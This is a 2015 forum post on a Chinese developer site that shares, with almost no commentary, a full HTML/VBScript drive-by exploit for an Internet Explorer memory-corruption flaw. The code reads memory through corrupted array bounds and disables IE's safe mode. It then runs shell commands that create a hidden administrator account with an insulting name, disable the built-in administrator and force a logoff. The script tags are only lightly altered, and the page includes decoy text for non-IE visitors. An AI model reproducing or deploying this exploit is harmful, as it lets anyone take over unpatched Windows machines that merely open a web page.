架构师_程序员_码农网

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

搜索
查看: 11267|回复: 0

[安全漏洞] IE通杀远程命令执行

[复制链接]
发表于 2015-4-1 21:39:03 | 显示全部楼层 |阅读模式
  1. <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />

  2. <!--[if !IE]><!--> 本网站目前只支持IE,请使用IE打开本页面 <!--<![endif]--><br>
  3. <!--[if IE]> 对不起,你没有权限打开本页面,请联系管理员 <![endif]-->


  4. <!--#####漏洞利用的前提:使用IE、未打漏洞的、未开360的############################################-->



  5. <!doctype html>
  6. <html>
  7. <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
  8. <head>
  9. </head>
  10. <body>

  11. <scrip去掉t LANGUAGE="VBscrip去掉t">

  12. function runmumaa()
  13. On Error Resume Next
  14. set shell=createobject("wscrip去掉t.shell")
  15. shell.run "net user 大喊我是傻逼即可解锁 nishishabi /add",0
  16. shell.run "cmd.exe",0
  17. shell.run "cmd.exe",0
  18. shell.run "cmd.exe",0
  19. shell.run "net localgroup administrators 大喊我是傻逼即可解锁 /add",0
  20. shell.run "cmd.exe",0
  21. shell.run "cmd.exe",0
  22. shell.run "cmd.exe",0
  23. shell.run "net user administrator /active:no",0
  24. shell.run "cmd.exe",0
  25. shell.run "cmd.exe",0
  26. shell.run "cmd.exe",0
  27. shell.run "cmd.exe",0
  28. shell.run "shutdown -l",0
  29. end function

  30. </scrip去掉t>

  31. <scrip去掉t LANGUAGE="VBscrip去掉t">

  32. dim   aa()
  33. dim   ab()
  34. dim   a0
  35. dim   a1
  36. dim   a2
  37. dim   a3
  38. dim   win9x
  39. dim   intVersion
  40. dim   rnda
  41. dim   funclass
  42. dim   myarray

  43. Begin()

  44. function Begin()
  45.   On Error Resume Next
  46.   info=Navigator.UserAgent

  47.   if(instr(info,"Win64")>0)   then
  48.      exit   function
  49.   end if

  50.   if (instr(info,"MSIE")>0)   then
  51.              intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))  
  52.   else
  53.      exit   function
  54.             
  55.   end if

  56.   win9x=0

  57.   BeginInit()
  58.   If Create()=True Then
  59.      myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
  60.      myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

  61.      if(intVersion<4) then
  62.          document.write("<br> IE")
  63.          document.write(intVersion)
  64.          runshellcode()                  
  65.      else
  66.           setnotsafemode()
  67.      end if
  68.   end if
  69. end function

  70. function BeginInit()
  71.    Randomize()
  72.    redim aa(5)
  73.    redim ab(5)
  74.    a0=13+17*rnd(6)
  75.    a3=7+3*rnd(5)
  76. end function

  77. function Create()
  78.   On Error Resume Next
  79.   dim i
  80.   Create=False
  81.   For i = 0 To 400
  82.     If Over()=True Then
  83.     '   document.write(i)   
  84.        Create=True
  85.        Exit For
  86.     End If
  87.   Next
  88. end function

  89. sub testaa()
  90. end sub

  91. function mydata()
  92.     On Error Resume Next
  93.      i=testaa
  94.      i=null
  95.      redim  Preserve aa(a2)

  96.      ab(0)=0
  97.      aa(a1)=i
  98.      ab(0)=6.36598737437801E-314

  99.      aa(a1+2)=myarray
  100.      ab(2)=1.74088534731324E-310
  101.      mydata=aa(a1)
  102.      redim  Preserve aa(a0)
  103. end function


  104. function setnotsafemode()
  105.     On Error Resume Next
  106.     i=mydata()
  107.     i=readmemo(i+8)
  108.     i=readmemo(i+16)
  109.     j=readmemo(i+&h134)
  110.     for k=0 to &h60 step 4
  111.         j=readmemo(i+&h120+k)
  112.         if(j=14) then
  113.               j=0         
  114.               redim  Preserve aa(a2)            
  115.      aa(a1+2)(i+&h11c+k)=ab(4)
  116.               redim  Preserve aa(a0)

  117.      j=0
  118.               j=readmemo(i+&h120+k)  
  119.         
  120.                Exit for
  121.            end if

  122.     next
  123.     ab(2)=1.69759663316747E-313
  124.     runmumaa()
  125. end function

  126. function Over()
  127.     On Error Resume Next
  128.     dim type1,type2,type3
  129.     Over=False
  130.     a0=a0+a3
  131.     a1=a0+2
  132.     a2=a0+&h8000000

  133.     redim  Preserve aa(a0)
  134.     redim   ab(a0)   

  135.     redim  Preserve aa(a2)

  136.     type1=1
  137.     ab(0)=1.123456789012345678901234567890
  138.     aa(a0)=10
  139.          
  140.     If(IsObject(aa(a1-1)) = False) Then
  141.        if(intVersion<4) then
  142.            mem=cint(a0+1)*16            
  143.            j=vartype(aa(a1-1))
  144.            if((j=mem+4) or (j*8=mem+8)) then
  145.               if(vartype(aa(a1-1))<>0)  Then   
  146.                  If(IsObject(aa(a1)) = False ) Then            
  147.                    type1=VarType(aa(a1))
  148.                  end if              
  149.               end if
  150.            else
  151.              redim  Preserve aa(a0)
  152.              exit  function

  153.            end if
  154.         else
  155.            if(vartype(aa(a1-1))<>0)  Then   
  156.               If(IsObject(aa(a1)) = False ) Then
  157.                   type1=VarType(aa(a1))
  158.               end if              
  159.             end if
  160.         end if
  161.     end if
  162.             
  163.    
  164.     If(type1=&h2f66) Then        
  165.           Over=True     
  166.     End If
  167.     If(type1=&hB9AD) Then
  168.           Over=True
  169.           win9x=1
  170.     End If

  171.     redim  Preserve aa(a0)         
  172.       
  173. end function

  174. function ReadMemo(add)
  175.     On Error Resume Next
  176.     redim  Preserve aa(a2)

  177.     ab(0)=0  
  178.     aa(a1)=add+4   
  179.     ab(0)=1.69759663316747E-313      
  180.     ReadMemo=lenb(aa(a1))
  181.   
  182.     ab(0)=0   

  183.     redim  Preserve aa(a0)
  184. end function

  185. </scrip去掉t>

  186. </body>
  187. </html>
复制代码





上一篇:oracle简单初级的练习题目
下一篇:asp.net图片验证码生成原理和代码
码农网,只发表在实践过程中,遇到的技术难题,不误导他人。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

免责声明:
码农网所发布的一切软件、编程资料或者文章仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。

Mail To:help@itsvse.com

QQ|手机版|小黑屋|架构师 ( 鲁ICP备14021824号-2 )|网站地图

GMT+8, 2025-6-16 13:32

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表